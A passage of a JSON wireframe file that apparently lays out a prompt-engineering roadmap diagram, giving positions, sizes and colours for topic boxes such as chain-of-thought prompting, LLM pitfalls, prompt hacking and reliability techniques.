\"46\",\n          \"measuredW\": \"269\",\n          \"measuredH\": \"45\",\n          \"w\": \"269\",\n          \"h\": \"45\",\n          \"x\": \"1217\",\n          \"y\": \"964\",\n          \"properties\": {\n            \"controlName\": \"102-prompts:prompting-techniques:chain-of-thought\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"269\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"214\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"28\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Chain of Thought Prompting\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10180\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"47\",\n          \"measuredW\": \"269\",\n          \"measuredH\": \"45\",\n          \"w\": \"269\",\n          \"h\": \"45\",\n          \"x\": \"1217\",\n          \"y\": \"1014\",\n          \"properties\": {\n            \"controlName\": \"103-prompts:prompting-techniques:zeroshot-chain-of-thought\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"269\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"211\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"29\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Zero Shot Chain of Thought\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10181\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"48\",\n          \"measuredW\": \"269\",\n          \"measuredH\": \"45\",\n          \"w\": \"269\",\n          \"h\": \"45\",\n          \"x\": \"1217\",\n          \"y\": \"1064\",\n          \"properties\": {\n            \"controlName\": \"104-prompts:prompting-techniques:least-to-most\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"269\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"188\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"41\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Least to Most Prompting\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10182\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"49\",\n          \"measuredW\": \"269\",\n          \"measuredH\": \"45\",\n          \"w\": \"269\",\n          \"h\": \"45\",\n          \"x\": \"1217\",\n          \"y\": \"1114\",\n          \"properties\": {\n            \"controlName\": \"105-prompts:prompting-techniques:dual-prompt\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"269\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"174\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"48\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Dual Prompt Approach\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10183\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"50\",\n          \"measuredW\": \"269\",\n          \"measuredH\": \"45\",\n          \"w\": \"269\",\n          \"h\": \"45\",\n          \"x\": \"1217\",\n          \"y\": \"1164\",\n          \"properties\": {\n            \"controlName\": \"106-prompts:prompting-techniques:combining-techniques\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"269\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"175\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"47\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Combining Techniques\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10184\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"51\",\n          \"measuredW\": \"182\",\n          \"measuredH\": \"26\",\n          \"x\": \"1261\",\n          \"y\": \"828\",\n          \"properties\": {\n            \"size\": \"18\",\n            \"text\": \"Prompting Techniques\"\n          }\n        },\n        {\n          \"ID\": \"10185\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"52\",\n          \"measuredW\": \"306\",\n          \"measuredH\": \"53\",\n          \"w\": \"306\",\n          \"h\": \"53\",\n          \"x\": \"1199\",\n          \"y\": \"1224\",\n          \"properties\": {\n            \"controlName\": \"101-prompts:parts-of-a-prompt\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"306\",\n                  \"h\": \"53\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"133\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"86\",\n                  \"y\": \"14\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Parts of a Prompt\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10186\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"53\",\n          \"w\": \"549\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"316\",\n          \"y\": \"708\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"p0\": {\n              \"x\": 549.0409007620017,\n              \"y\": -0.20575476734575204\n            },\n            \"p1\": {\n              \"x\": 0.4999999999999996,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": 0.39319576773937115,\n              \"y\": -0.20575476734575204\n            }\n          }\n        },\n        {\n          \"ID\": \"10187\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"54\",\n          \"measuredW\": \"268\",\n          \"measuredH\": \"49\",\n          \"w\": \"268\",\n          \"h\": \"49\",\n          \"x\": \"181\",\n          \"y\": \"1342\",\n          \"properties\": {\n            \"controlName\": \"103-real-world\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"268\",\n                  \"h\": \"49\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"218\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"25\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Real World Usage Examples\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10188\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"55\",\n          \"measuredW\": \"269\",\n          \"measuredH\": \"45\",\n          \"w\": \"269\",\n          \"h\": \"45\",\n          \"x\": \"180\",\n          \"y\": \"1440\",\n          \"properties\": {\n            \"controlName\": \"100-real-world:structured-data\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"269\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"122\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"74\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Structured Data\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10189\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"56\",\n          \"measuredW\": \"269\",\n          \"measuredH\": \"45\",\n          \"w\": \"269\",\n          \"h\": \"45\",\n          \"x\": \"180\",\n          \"y\": \"1489\",\n          \"properties\": {\n            \"controlName\": \"101-real-world:inferring\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"269\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"66\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"102\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Inferring\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10190\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"57\",\n          \"measuredW\": \"269\",\n          \"measuredH\": \"45\",\n          \"w\": \"269\",\n          \"h\": \"45\",\n          \"x\": \"180\",\n          \"y\": \"1538\",\n          \"properties\": {\n            \"controlName\": \"102-real-world:writing-emails\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"269\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"110\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"80\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Writing Emails\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10191\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"58\",\n          \"measuredW\": \"269\",\n          \"measuredH\": \"45\",\n          \"w\": \"269\",\n          \"h\": \"45\",\n          \"x\": \"180\",\n          \"y\": \"1588\",\n          \"properties\": {\n            \"controlName\": \"103-real-world:coding-assistance\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"269\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"142\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"64\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Coding Assistance\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10192\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"59\",\n          \"measuredW\": \"269\",\n          \"measuredH\": \"45\",\n          \"w\": \"269\",\n          \"h\": \"45\",\n          \"x\": \"180\",\n          \"y\": \"1637\",\n          \"properties\": {\n            \"controlName\": \"104-real-world:study-buddy\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"269\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"94\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"88\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Study Buddy\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10193\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"60\",\n          \"measuredW\": \"269\",\n          \"measuredH\": \"45\",\n          \"w\": \"269\",\n          \"h\": \"45\",\n          \"x\": \"180\",\n          \"y\": \"1687\",\n          \"properties\": {\n            \"controlName\": \"105-real-world:designing-chatbots\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"269\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"151\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"59\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Designing Chatbots\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10194\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"61\",\n          \"measuredW\": \"194\",\n          \"measuredH\": \"49\",\n          \"w\": \"194\",\n          \"h\": \"49\",\n          \"x\": \"544\",\n          \"y\": \"1342\",\n          \"properties\": {\n            \"controlName\": \"104-llm-pitfalls\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"194\",\n                  \"h\": \"49\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"117\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"38\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Pitfalls of LLMs\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10195\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"62\",\n          \"measuredW\": \"194\",\n          \"measuredH\": \"45\",\n          \"w\": \"194\",\n          \"h\": \"45\",\n          \"x\": \"544\",\n          \"y\": \"1440\",\n          \"properties\": {\n            \"controlName\": \"100-llm-pitfalls:citing-sources\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"194\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"112\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"41\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Citing Sources\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10196\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"63\",\n          \"measuredW\": \"194\",\n          \"measuredH\": \"45\",\n          \"w\": \"194\",\n          \"h\": \"45\",\n          \"x\": \"544\",\n          \"y\": \"1489\",\n          \"properties\": {\n            \"controlName\": \"101-llm-pitfalls:bias\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"194\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"34\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"80\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Bias\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10197\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"64\",\n          \"measuredW\": \"194\",\n          \"measuredH\": \"45\",\n          \"w\": \"194\",\n          \"h\": \"45\",\n          \"x\": \"544\",\n          \"y\": \"1539\",\n          \"properties\": {\n            \"controlName\": \"102-llm-pitfalls:hallucinations\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"194\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"109\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"42\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Hallucinations\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10198\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"65\",\n          \"measuredW\": \"194\",\n          \"measuredH\": \"45\",\n          \"w\": \"194\",\n          \"h\": \"45\",\n          \"x\": \"544\",\n          \"y\": \"1589\",\n          \"properties\": {\n            \"controlName\": \"103-llm-pitfalls:math\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"194\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"39\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"77\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Math\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10199\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"66\",\n          \"measuredW\": \"194\",\n          \"measuredH\": \"45\",\n          \"w\": \"194\",\n          \"h\": \"45\",\n          \"x\": \"544\",\n          \"y\": \"1639\",\n          \"properties\": {\n            \"controlName\": \"104-llm-pitfalls:prompt-hacking\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"194\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"123\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"35\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Prompt Hacking\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10200\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"67\",\n          \"w\": \"1\",\n          \"h\": \"102\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"951\",\n          \"y\": \"1367\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": -0.00475478501221005\n            },\n            \"p1\": {\n              \"x\": 0.49962160010312046,\n              \"y\": -0.0008638298060972025\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 102.09090909090901\n            }\n          }\n        },\n        {\n          \"ID\": \"10201\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"68\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"49\",\n          \"w\": \"256\",\n          \"h\": \"49\",\n          \"x\": \"824\",\n          \"y\": \"1342\",\n          \"properties\": {\n            \"controlName\": \"105-reliability\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"49\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"155\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"50\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Improving Reliability\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10202\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"69\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"45\",\n          \"w\": \"256\",\n          \"h\": \"45\",\n          \"x\": \"824\",\n          \"y\": \"1440\",\n          \"properties\": {\n            \"controlName\": \"100-reliability:debiasing\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"137\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"59\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Prompt Debiasing\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10203\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"70\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"45\",\n          \"w\": \"256\",\n          \"h\": \"45\",\n          \"x\": \"824\",\n          \"y\": \"1490\",\n          \"properties\": {\n            \"controlName\": \"101-reliability:ensembling\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"150\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"53\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Prompt Ensembling\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10204\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"71\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"45\",\n          \"w\": \"256\",\n          \"h\": \"45\",\n          \"x\": \"824\",\n          \"y\": \"1540\",\n          \"properties\": {\n            \"controlName\": \"102-reliability:self-evaluation\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"153\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"51\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"LLM Self Evaluation\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10205\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"72\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"45\",\n          \"w\": \"256\",\n          \"h\": \"45\",\n          \"x\": \"824\",\n          \"y\": \"1589\",\n          \"properties\": {\n            \"controlName\": \"103-reliability:calibrating-llms\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"131\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"62\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Calibrating LLMs\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10206\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"73\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"45\",\n          \"w\": \"256\",\n          \"h\": \"45\",\n          \"x\": \"824\",\n          \"y\": \"1639\",\n          \"properties\": {\n            \"controlName\": \"104-reliability:math\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": 